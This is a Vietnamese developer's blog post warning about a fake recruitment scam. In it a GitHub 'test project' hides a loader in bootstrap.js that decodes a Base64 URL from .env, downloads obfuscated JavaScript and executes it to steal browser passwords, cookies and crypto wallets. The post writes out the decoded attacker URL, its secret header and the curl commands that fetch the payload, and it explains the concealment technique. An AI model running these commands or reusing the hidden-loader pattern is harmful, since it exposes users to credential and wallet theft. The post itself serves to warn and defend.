Lừa Đảo Qua Tuyển Dụng AI - Malware Ngụy Trang Trong Repo GitHub
Câu Chuyện Bắt Đầu Từ Một Tin Nhắn
Trong một buổi chiều đẹp trời, tôi nhận được tin nhắn của một người anh mà tôi rất quý. Anh ấy hào hứng chia sẻ về một cơ hội "ngon" liên quan đến AI ứng dụng cho testing và muốn hỏi tôi có lời khuyên gì về cách tiếp cận không.
Mấy anh em cũng đang thân nhau, tôi vui vẻ nhận lời tư vấn ngay. Nhưng không ngờ, đây là khởi đầu cho một cuộc điều tra về một chiêu trò lừa đảo tinh vi đang nhắm vào các developer Việt Nam.
Job Description Tưởng Chừng Vô Hại
Nhìn qua JD thì mọi thứ có vẻ khá bình thường:

Yêu cầu cơ bản: Clone source code từ repo https://github.com/Dredsoft-Saros/e-Commerce
về máy, chạy thử và làm một số bài tập với AI để "test" khả năng AI của ứng viên trước khi vào vòng phỏng vấn.
Nghe thì có vẻ hợp lý, nhưng ... mùi vãi chưởng …
Bóc Tách Repo - Phát Hiện Mã Độc
Cấu Trúc Repository
Repository có 2 phần chính là frontend
và backend
ok dễ hiểu.


Yêu cầu ta chạy chương trình lên để "làm bài kiểm tra"
Đoạn này thấy phi lý lắm rồi
Kiểm Tra Script Khởi Động
Khi xem xét lệnh npm start
, tôi phát hiện nó chạy cả server
và client
:

Mọi thứ trông có vẻ ổn cho đến khi tôi đào sâu vào phần server…
Phát Hiện File Đáng Ngờ

Trong đống file JavaScript, tôi phát hiện file bootstrap.js với nội dung cực kỳ đáng ngờ.
Phân Tích Chi Tiết Mã Độc
1. File bootstrap.js - Lỗ thỏ đây rồi

Đoạn code từ dòng 7-12 thực hiện:
- Giải mã chuỗi Base64 từ biến môi trường
- Tải code từ URL bên ngoài
- Thực thi trực tiếp code đã tải bằng
Function.constructor
Đây chính là kỹ thuật Remote Code Execution (RCE) - cho phép kẻ tấn công chạy bất kỳ code nào trên máy nạn nhân! Đến đoạn này thì 95% là lừa đảo rồi. Nhưng công ty của anh V đã có vài members cài project này nên ta cùng xem nó định làm gì nào.
2. Xem file .env có gì nào
File .env
chứa các biến môi trường đã được mã hóa Base64:

Khi loại bỏ chuỗi chèn “sot” rồi giải mã Base64, ta thu được:
DEV_ACCESS_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aWsot9uLnVwLnJhaWx3YXkuYXBwL3N2Zw=="
nhìn thì tưởng đây là một đoạn key bình thường nhưng thực tế nó là một đoạn URL được mã hóa bằng Base64 chứ chẳng phải API KEY gì cả. Đây chính là URL mà sẽ được dùng để download code về trong đoạn bootstrap.js
phía trên.
Sau khi loại bỏ chuỗi chèn "sot" và giải mã Base64 ta thu được:
- URL:
https://bs-production.up.railway.app/svg
- Header:
x-secret-key: _
3. Kỹ Thuật Che Giấu Tinh Vi
Nhưng đám này còn tiếp tục che giấu thêm nữa.
Khi truy cập trực tiếp URL:

curl https://bs-production.up.railway.app/svg
// Return api error
Nhưng khi thêm header bí mật:

curl -H "x-secret-key: _" https://bs-production.up.railway.app/svg
Một file JavaScript 105KB được tải về, đã bị obfuscate nặng:

Phân Tích Malware Chi Tiết
Tôi đã viết script phân tích toàn diện cho con virus này:
Kết Quả Phân Tích
=== VIRUS.JS MALWARE ANALYSIS ===
1. OBFUSCATION TECHNIQUES:
- Hexadecimal function/variable naming
- Hexadecimal array indexing
- Boolean obfuscation (!![] = true)
2. SUSPICIOUS PATTERNS:
- networking: HTTP connections detected
- systemInfo: hostname, platform, homedir collection
- browserPaths: Targets Brave, Opera, Chrome, Edge
- cryptoWallets: Searches for wallet files
- extensions: .ldb, .log file access
3. TARGETED DATA:
- Browser passwords and cookies
- Cryptocurrency wallets
- System information
- Browser extensions data
Mục Đích Thực Sự Của Malware
1. Đánh Cắp Dữ Liệu Trình Duyệt
- Mật khẩu đã lưu
- Cookie và session tokens
- Lịch sử duyệt web
- Dữ liệu autofill
2. Nhắm Vào Ví Tiền Điện Tử
- File ví Solana (
~/.config/solana/id.json
) - Extension wallets: MetaMask, Binance Chain, Brave Wallet
- Private keys và seed phrases
3. Thu Thập Thông Tin Hệ Thống
- Hostname, platform
- Đường dẫn thư mục người dùng
- Thông tin định danh victim
4. Cài Đặt Backdoor
- Keylogger để ghi lại phím gõ
- Remote access cho kẻ tấn công
- Khả năng tải và thực thi code mới bất cứ lúc nào
Bọn nào đứng sau vụ lừa đảo này
Dredsoft - Một "Công Ty" Giả Mạo

Bọn lừa đảo đã tạo ra một hình ảnh công ty IT hoàn chỉnh:
Website Chính Thức (Giả)

Trang web được làm vội vàng nhưng đủ để đánh lừa nạn nhân.
LinkedIn Profile

Thậm chí còn có cả trang LinkedIn với vẻ ngoài chuyên nghiệp!
Hành Động Khẩn Cấp
Ngay sau khi phát hiện, tôi đã:
- Cảnh báo khẩn cấp cho team bị ảnh hưởng
- Chặn các IP mà malware đang kết nối
- Yêu cầu cài đặt lại toàn bộ thiết bị bị nhiễm
- Báo cáo GitHub để gỡ bỏ repo độc hại
- Chia sẻ cảnh báo trong cộng đồng developer
Bài Học Rút Ra
1. Luôn Kiểm Tra Code Trước Khi Chạy
- Review toàn bộ source code, đặc biệt là file khởi động
- Chú ý các đoạn code obfuscate hoặc encode
- Kiểm tra biến môi trường và external connections
2. Sử Dụng Môi Trường Cách Ly
- Container development environment (Docker)
- Virtual machines
- Sandbox environments
3. Cảnh Giác Với "Cơ Hội Tốt"
- Verify công ty tuyển dụng
- Kiểm tra domain age và reputation
- Tìm kiếm reviews từ cộng đồng
4. Bảo Vệ Tài Sản Số
- Sử dụng hardware wallet cho crypto
- Không lưu mật khẩu trong trình duyệt
- Bật 2FA cho mọi tài khoản quan trọng
Kết Luận
"Khi nói đến bảo mật, hoang tưởng một chút thực ra là đang chuẩn bị kỹ càng!"
Chiêu trò lừa đảo này cho thấy mức độ tinh vi ngày càng cao của tội phạm mạng. Họ không chỉ tạo malware phức tạp mà còn xây dựng cả một kịch bản hoàn chỉnh với công ty giả, JD hợp lý, và quy trình tuyển dụng "chuyên nghiệp".
Hãy luôn cảnh giác và chia sẻ bài viết này để cảnh báo đồng nghiệp. Đừng để ham "opportunity" mà quên mất security!
Chúc các bạn outsourcing an toàn và bảo mật vui vẻ!